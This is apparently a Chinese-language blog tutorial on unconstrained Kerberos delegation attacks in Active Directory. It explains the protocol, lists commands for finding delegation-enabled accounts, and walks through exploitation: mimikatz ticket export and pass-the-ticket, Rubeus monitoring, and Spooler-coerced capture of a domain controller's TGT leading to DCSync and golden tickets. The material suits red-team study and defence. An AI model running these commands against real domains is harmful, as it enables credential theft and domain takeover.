【详解委派攻击】1.非约束性委派

本文涉及的产品
.cn 域名,1个 12个月
简介: 当某个域内用户user1访问到开启了非约束委派的服务时,该服务可以获取user1用户的 TGT ,并将该TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟user1用户去访问任意服务(前提得是user1能访问到的服务)

一、非约束性委派的原理:

简单来讲:

当某个域内用户user1访问到开启了非约束委派的服务时,该服务可以获取user1用户的 TGT ,并将该TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟user1用户去访问任意服务(前提得是user1能访问到的服务)

具体认证流程:

1、用户机器向KDC请求可转发的TGT1

2、KDC在消息中给返回TGT1(访问服务1使用)

3、用户通过TGT1请求转发TGT2(访问服务2使用)

4、KDC返回消息TGT2

5、用户使用TGT1向KDC申请访问服务1

6、TGS 返回 ST 给用户

7、用户发送AP_REQ请求服务1,包含了TGT1、TGT2、TGT2的sessionkey

8、服务1使用用户发送过来的TGT2去请求KDC,并以用户的身份请求服务2的ST

9、KDC返回服务2的ST给服务1(这里ST将来源请求标记为用户机器,而不是服务1)

10、服务1以用户的名义请求服务2

11、服务2回应服务1请求

12、服务1回应用户机器请求

13、服务1能够向KDC请求其他服务ST

14、KDC返回其他服务ST

15、服务1以用户名义请求其他服务

16、其他服务回应服务1

总之一句话就是:将域内用户的权限委派给开启了非约束委派的服务,服务账号就能以该域内用户的身份在域内愉快的"玩耍"了,而且重要的是该域内用户不能被设置了"敏感用户,不能被委派"的属性,不过现在非约束性委派在企业内基本很少用


二、非约束性委派的配置和发现:

1、创建非约束委派账号:

# 给test2注册sqn服务,test2用户要存在,注册完之后test2就是服务账户了


setspn -U -A MSSQLSvc/mssql.hack.com:1433 test2

开启服务账号test2的委派设置:


设置机器账号为委派:


注意:只有服务账号和主机账号能设置委派

当设置成功后,账号的userAccountControl属性会包含TRUSTED_FOR_DELEGATION


2、发现域内非约束委派账号:

①利用ldapsearch

# 非约束委派用户


ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName"


# 非约束委派机器


ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName"

域控默认开启非约束委派


②利用Adfind

# 非约束委派用户


AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName


# 非约束委派机器


AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName


③利用poweview(powersploit下的)

# 非约束委派用户


powershell -exec bypass "Import-Module .\PowerView.ps1;Get-NetUser -Unconstrained -Domain hack.com | select name"


# 非约束委派机器


powershell -exec bypass "Import-Module .\PowerView.ps1;Get-NetComputer -Unconstrained -Domain hack.com | select samaccountname"


④倾璇师傅的

# 非约束委派机器


./goDomain -username 域名\\域用户名 -password 域用户密码 -base-dn dc=xx,dc=com(域名后缀) -host LDAP服务器ip(域控) -get-unconstrained-delegation-computers


三、非约束性委派的利用:

1、手动触发(实战中比较鸡肋,需要管理员主动去连接服务):

①先清除票据


mimikatz "privilege::debug" "kerberos::purge" "exit"


②模拟管理员访问到服务机器上(开启了非约束委派),那么此时管理员的TGT就会留在服务机器上,就可以进行利用了


ps> Enter-PSSession -ComputerName 服务机器名


③使用mimikatz导出票据


mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"

可以看到有Adminitrator字样的就是域管的TGT


④注入票据


mimikatz "privilege::debug" "kerberos::ptt xxx.kirbi" "exit"


⑤访问域控


dir \\域控机器名\c$

没注入之前是访问失败的,注入成功之后就可以访问域控了


2、配合Spooler打印机服务(可以对指定主机进行强制触发,需要服务主机开启了非约束委派):

spooler服务是默认开启的,这里我利用cme查询一下:


./cme smb 域控ip -M spooler


①本地触发

1、rubeus开启监听Event ID为4624事件,截取域控的TGT


Rubeus.exe monitor /interval:1 /filteruser:域控主机名$

需要管理员权限运行


2、向域控的Spooler服务发送请求,强制其访问非约束委派机器进行身份验证


spool_sample_windows_x86.exe 域控主机名 非约束委派机器名

切记:一定要使用普通管理员的权限(不用绕过UAC)来执行spoolsample.exe命令,只有这样才能导出域控主机账户的tgt


然后就可以监听到base编码的tgt


3、注入票据,rubeus可以直接将base64的tgt进行注入:


Rubeus.exe ptt /ticket:base64编码的TGT


还可以使用powershell对base64编码的tgt转为票据格式:


[IO.File]::WriteAllBytes(".\xxx.kirbi", [Convert]::FromBase64String("base64编码的tgt"))

可以对此票据使用mimikatz进行导入


或者使用mimikatz直接导出票据:


mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"

可以看到有导出了来自域控PANDA的票据


再注入票据:


mimikatz "privilege::debug" "kerberos::ptt xxx.kirbi" "exit"

注入票据之后的操作就多了,可以访问利用dcsync导出域内hash、获得krbgt的hash制作黄金票据等


②远程触发

需要条件:拿到内网中一台linux主机权限、非约束委派的服务hash、一个域内用户账号密码

参考如下文章进行利用:

https://mp.weixin.qq.com/s/aM2k01N6_H5FOxoEyj39LA

https://blog.csdn.net/qq_43645782/article/details/118762916

https://mp.weixin.qq.com/s/3woYDMdqqldLDWiq3dsXnw


目录
相关文章
|
Java Spring 容器
DelegatingFilterProxy(委派拦截代理)(五)
DelegatingFilterProxy(委派拦截代理)(五)
88 0
DelegatingFilterProxy(委派拦截代理)(五)
|
4月前
|
Java 编译器
什么是双亲委派机制?
什么是双亲委派机制?
260 59
|
4月前
|
前端开发 Java C++
双亲委派机制
这篇文章详细解释了Java中的双亲委派机制,包括其原理、类加载器的分类(启动类加载器、扩展类加载器、应用程序类加载器)以及它们之间的关系和作用。
|
存储 前端开发 安全
JVM系列(1):双亲委派机制和沙箱安全机制
 JVM 是 Java Virtual Machine(Java 虚拟机)的缩写,JVM 是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。
103 0
|
Java 关系型数据库 MySQL
双亲委派机制,懂吧~ 那什么情况下需要破坏它,知道吗?
双亲委派机制,懂吧~ 那什么情况下需要破坏它,知道吗?
111 0
|
设计模式 前端开发 Java
你以为委派模式很神秘,其实你每天都在用
我们用代码来模拟老板给员工分配任务的业务场景。
90 0
|
数据安全/隐私保护 Windows
【详解委派攻击】2.约束性委派
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,支持两个子协议:S4U2Self(Service for User to Self)和 S4U2proxy(Service for User to Proxy),这两个扩展都允许服务代表其他用户从KDC请求TGS/ST,下面详细分析一下两者的含义和区别:
366 0
|
网络协议 Shell Linux
【详解委派攻击】3.基于资源的约束性委派
在windows server 2012开始加入了新功能(基于资源的约束性委派RBCD),而且不需要域管理员去设置相关属性,RBCD把设置委派的权限赋予了机器自身,机器自己可以决定谁可以被委派来控制我,也就是说机器自身可以直接在自己账户上配置msDS
650 0
|
缓存 安全 前端开发
域委派攻击详解
域委派攻击详解
1074 0
|
安全 Shell
【详解委派攻击】绕过委派限制Kerberos Bronze Bit
通过此漏洞可以绕过以下两个限制进行利用: ①配置约束委派时,勾选的是"仅使用Kerberos(K)" ②伪造高权限用户票据时,此高权限用户的属性配置了"敏感用户不能被委派",或者高权限用户在"受保护的组"内
183 0